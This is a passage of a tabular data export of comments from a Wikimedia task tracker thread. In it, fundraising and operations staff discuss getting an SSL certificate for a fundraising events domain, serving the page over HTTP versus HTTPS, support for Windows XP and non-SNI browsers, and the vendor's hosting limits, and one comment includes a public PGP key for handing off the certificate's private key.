+",,,1438641815,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,0,1,1,1,1,0,1
+501489,SSL cert needed for new fundraising events domain,"Cert is ordered, waiting for issue",,,1438639712,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+501165,SSL cert needed for new fundraising events domain,"Sure. Here's my public PGP key:
+
+
+```
+-----BEGIN PGP PUBLIC KEY BLOCK-----
+Version: Encryption Desktop 10.3.2 (Build 15917) - not licensed for commercial use: www.pgp.com
+
+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
+mQHsjcumlg3yYUA15VJdV00CwcYQ
+=AhoQ
+-----END PGP PUBLIC KEY BLOCK-----
+```",,,1438614029,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+501163,SSL cert needed for new fundraising events domain,@EWilfong_WMF - do you have a way for us to hand off the private key to you securely? (e.g. a PGP public key),,,1438613650,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0
+501161,SSL cert needed for new fundraising events domain,"Getting back onto the technical tasks at hand: the DNS part is merged now, and AIUI we (ops) need to purchase a cert from globalsign (RSA, no wildcard/SAN, single hostname for ""eventdonations.wikimedia.org"", 1yr validity) and hand it off.",,,1438613343,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+501145,SSL cert needed for new fundraising events domain,"I'm generally agreeable to the plan, but I'm still a bit worried about the timeline here.  We don't have firm deadlines, but presenting a plan on Oct 7 doesn't mean being ready to make the switch on Oct 7.  Right now we're in the process of cleaning up these issues in wikimedia.org so that we can bring that last domainname into compliance with the upgraded security of our other major domainnames.  The only truly-difficult case still blocking us on that effort today is the email.donate case (which is similar in nature: FR-related and 3rd-party hosted).  The timeline on that one is still an unknown, but I was certainly hoping to resolve it much earlier than October somehow.  Between email.donate and these new names, they will both block turning on HSTS preloading and/or HPKP for all of *.wikimedia.org until whenever after Oct 7 we finally get them resolved on a technical level.",,,1438612000,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+499835,SSL cert needed for new fundraising events domain,"Hi all,
+
+I appreciate all the concerns you've shared with us and I can see that in the very near future we need to do this differently.  Caitlin Cogdill has proposed a plan to fix this issue after the fall event.  I've quoted that info out below.  
+
+In the meantime, we need to set this system up for the coming event ASAP.  Please let us know the next steps to move forward on this.  
+
+Caitlin V.  
+
+From CC: ""I made a commitment to @BBlack yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way. @CaitVirtue and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.
+
+**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.
+
+Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable?""",,,1438293742,,PHID-USER-kwzt7y73f6hl6xs7vo2p,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,False,,,4,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0
+499816,SSL cert needed for new fundraising events domain,"As Eric mentioned earlier in this task, Trilogy runs on a multi-tenant
+system, so their system is not currently set up to add new IPs. They are
+looking into whether or not they can do that for us, but it would not be
+simple for them to set up an entirely new system for us.",,,1438292602,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+499744,SSL cert needed for new fundraising events domain,"So does that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward.",,,1438288759,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,0
+499741,SSL cert needed for new fundraising events domain,"So doers that mean the vendor can't give us a unique IP to handle the SNI problem at this time?  If they supported it at all, I imagine it would be pretty straightforward.",,,1438288588,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+499737,SSL cert needed for new fundraising events domain,"Sorry, it would *not be a solution we could implement in 2 weeks...",,,1438287738,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+499736,SSL cert needed for new fundraising events domain,"@BBlack we're looking into the possibility, but if it's possible, it would
+be a solution we could implement in 2 weeks. That is one of the options we
+would talk about on 10/7, after the event is over.",,,1438287694,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+499711,SSL cert needed for new fundraising events domain,"wikimediafoundation.org is HTTPS-only already.  All of our existing primary domains are, except for wikimedia.org (which is only lagging because of unresolved exceptions like these).
+
+On this basic issue of HTTPS for benefactorevents, the only real technical issue seems to be using a provider than can give us a unique IP for non-SNI HTTPS, right?  That doesn't seem difficult.  Can Trilogy do this for an extra cost?",,,1438285745,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+499692,SSL cert needed for new fundraising events domain,"I see your point about the unreliability of the OS Marketshare metrics when it comes to overall Wikipedia usage. I just want to illustrate the significance of XP in this particular task.
+
+If the compromise I suggested above (to restate: we commit to change benefactorevents.wikimedia.org to https this FY and present a plan to do so on 10/7) doesn't work, I would like to offer one alternate suggestion. Can we use the wikimediafoundation.org domain instead?",,,1438284129,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+499205,SSL cert needed for new fundraising events domain,">>! In T107059#1492983, @CCogdill_WMF wrote:
+> Our major donors are not our normal users, and if I'm doing my math right, 0.6% of traffic still comes out to ~2.7 million users. 
+
+Yes, something like that, which is why we still support it.  It will be a long road before we can get that number down to an acceptably low level, probably.  But my point there is, I think the OS Marketshare stats for overall XP deployment paint a much uglier picture than the stats we see for IE7/8-on-XP in terms of cipher negotiation limitations.",,,1438208369,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+499190,SSL cert needed for new fundraising events domain,"> Keeping in mind we already killed IE6 access some time ago, IE7/8-on-XP (the ones with horrible TLS security and no SNI support) at our TLS terminations still only account for at most 0.6% of traffic, which is starkly different than those OS marketshare graphs for XP in general. 
+
+Our major donors are not our normal users, and if I'm doing my math right, 0.6% of traffic still comes out to ~2.7 million users. When we're talking about contacting a maximum of a few thousand people who are in a very specific, generally older demographic, we aren't willing to take the risk that they do not make up part of that 2.7m.
+",,,1438207594,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+499147,SSL cert needed for new fundraising events domain,">>! In T107059#1492742, @CCogdill_WMF wrote:
+> Per http://www.netmarketshare.com/, this quarter XP has the second highest market share of all OS versions. We can't assume this won't impact our donors, especially with the specific group these events are targeting:
+> {F284489}
+
+I'm not wading into the upgrade thing, but just talking about stats.  Keeping in mind we already killed IE6 access some time ago, IE7/8-on-XP (the ones with horrible TLS security and no SNI support) at our TLS terminations still only account for at most 0.6% of traffic, which is starkly different than those OS marketshare graphs for XP in general.  I'm not really sure of what the discrepancy is there, but it's possible a lot of it is that most remaining WinXP users have installed an alternate browser, or simply don't use Wikipedia significantly to begin with and thus are underrepresented in the stats I'm looking at.",,,1438203490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,0,1,1
+499137,SSL cert needed for new fundraising events domain,"> Ignoring the rest of the current discussion and just going little deeper on this one point: Microsoft ended all support for Windows XP a little over a year ago ( https://www.microsoft.com/en-us/WindowsForBusiness/end-of-xp-support ). There are known security flaws throughout XP and Microsoft has no intention of ever fixing them; it's effectively insecure abandonware at this point.
+
+When it comes to contacting donors, the question is not whether they are using a supported or secure OS or not, it is simply if we can support whatever system they are using. We cannot be tasked with asking our donors to upgrade their systems.
+
+Per http://www.netmarketshare.com/, this quarter XP has the second highest market share of all OS versions. We can't assume this won't impact our donors, especially with the specific group these events are targeting:
+{F284489}",,,1438202818,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0
+499132,SSL cert needed for new fundraising events domain,">>! In T107059#1492681, @CCogdill_WMF wrote:
+> XP is still a common OS in large corporations as well as for older generations
+
+Ignoring the rest of the current discussion and just going little deeper on this one point: Microsoft ended all support for Windows XP a little over a year ago ( https://www.microsoft.com/en-us/WindowsForBusiness/end-of-xp-support ).  There are known security flaws throughout XP and Microsoft has no intention of ever fixing them; it's effectively insecure abandonware at this point.",,,1438202385,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,1,1,0,1,1,1,1,0,1
+499122,SSL cert needed for new fundraising events domain,"I appreciate the concerns regarding setting up a new page on http. It has become clear to us that we cannot allow this page to be http for the long-term. However, for this specific donor base, losing support of XP + any version of IE is not trivial. XP is still a common OS in large corporations as well as for older generations, and our major donors are likely to fit into these categories.
+
+I made a commitment to @BBlack yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way. @CaitVirtue and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.  
+
+**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.
+
+Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable? ",,,1438201785,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0
+498995,SSL cert needed for new fundraising events domain,"My take (pardon me for repeating what others have said):
+- I don't think we should be adding any new non-HTTPS sites at this point. We've taken a very deliberate policy decision as an organization to commit to HTTPS-only so something like this would be technically against this policy. We have already implemented this for our most important and popular assets/websites, so it's hard for me to see why it would be more contentious to do it for smaller sites such as this one. If there is a extra price to be paid for this, we should factor it in our decision and pay it.
+
+- It's already impossible from a technical perspective to set up a new non-HTTPS sites in every domain of ours with the exception of wikimedia.org (e.g. if the request was for events.wikipedia.org, it would be completely impossible from a technical implementation perspective). The only reason this is still technically possible for wikimedia.org is that we have a legacy backlog and we need to slowly fix that. Any new additions at this point are just increasing our backlog and contributing to technical debt.
+
+- As others said, I don't think it makes sense to worry about OS/browsers combos not being able to access this site over HTTPS when they are already unable to browse our main websites (Wikipedia etc.). This includes IE6/XP. That said, we do not require SNI to access our main site (but we do require it for various other smaller sites of ours, including e.g. Phabricator or the Wikipedia Store). So, yes, certain combinations like IE8/XP would work with the main site but not with an SNI website.
+
+- Whether we should support such ancient OS/browser combinations aside, it's still unclear to me why is this a strict requirement: can't Trilogy work around this by getting an additional IP just for us?",,,1438190412,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+498632,SSL cert needed for new fundraising events domain,"> We can delay adding HTTPS for the events site, but we'd still like to commit to eventually correcting that (and the other cases that are outstanding, all of which are blocking progress for gaining full TLS security for other critical sites within wikimedia.org). If non-SNI compatibility is a requirement, that can be addressed by dedicating an IP address to it (here, or at a 3rd party) so that it can be the non-SNI default domainname for an HTTPS server instance.
+
+Thanks for being flexible with us, and for providing some ideas for solutions to the long-term https issue here! @BBlack I'm sending you a calendar invite which is my reminder and commitment to you that I will let you know what our plans are to address this going forward. I've put this on 10/7, which is a week after the big event we're working towards ends. Let me know if that works with your timeframe.
+
+Is there anything you need from us to get generate the eventdonations.wikimedia.org cert?
+
+For this broader 3rd party conversation, Megan, Lisa, and I have a meeting with Terry next Wednesday. We'll broach the subject with him and then I will schedule something with you, Mark, Rob, and Faidon after that. Does that sound good?
+
+
+
+",,,1438126783,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1,1,0,1,0,1,1,0,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+498620,SSL cert needed for new fundraising events domain,"For reference, IE7 and 8 on WinXP account for at most 0.6% of total traffic on a global weekly average basis, and the bulk of that tends to look like it comes from office hours in the Global South.  That's a stat we're hoping to help reduce through some campaigning aimed at getting users to upgrade sometime soon, but regardless we can't drop support for it until that number gets significantly lower I don't think.
+
+The other remaining significant non-SNI case for users is Android 2.x: it should be roughly 1% of current traffic based on past related estimates, but I don't have a firm current number for it on-hand ( https://stats.wikimedia.org 's last report seems to roughly align with that estimate, though).  We still support both of these on the primary sites and probably will for quite a while yet, but we're not explicitly supporting them on our ""misc"" services cluster for sites like Phabricator, git, etc (they have at different times either been broken for the misc services cluster or not, depending on other configuration changes made for unrelated reasons).
+
+We can delay adding HTTPS for the events site, but we'd still like to commit to eventually correcting that (and the other cases that are outstanding, all of which are blocking progress for gaining full TLS security for other critical sites within wikimedia.org).  If non-SNI compatibility is a requirement, that can be addressed by dedicating an IP address to it (here, or at a 3rd party) so that it can be the non-SNI default domainname for an HTTPS server instance.
+
+And yes, I think we should still have a broader conversation about how we handle 3rd-party hosting in the wake of HTTPS: the bar for using 3rd parties to host sites in our primary domains at all should probably be higher than it has been in the past to avoid various related issues.  There are also alternative options that create less mess, such as using a separate new 2nd-level domain we own, or simply using service hostnames within the 3rd party's domains that they control, either of which avoids interfering with all of these issues for wikimedia.org itself.  We don't yet have a clear policy on this going forward, but FR is probably the most complicated case, so resolving how to handle it here would be a good step 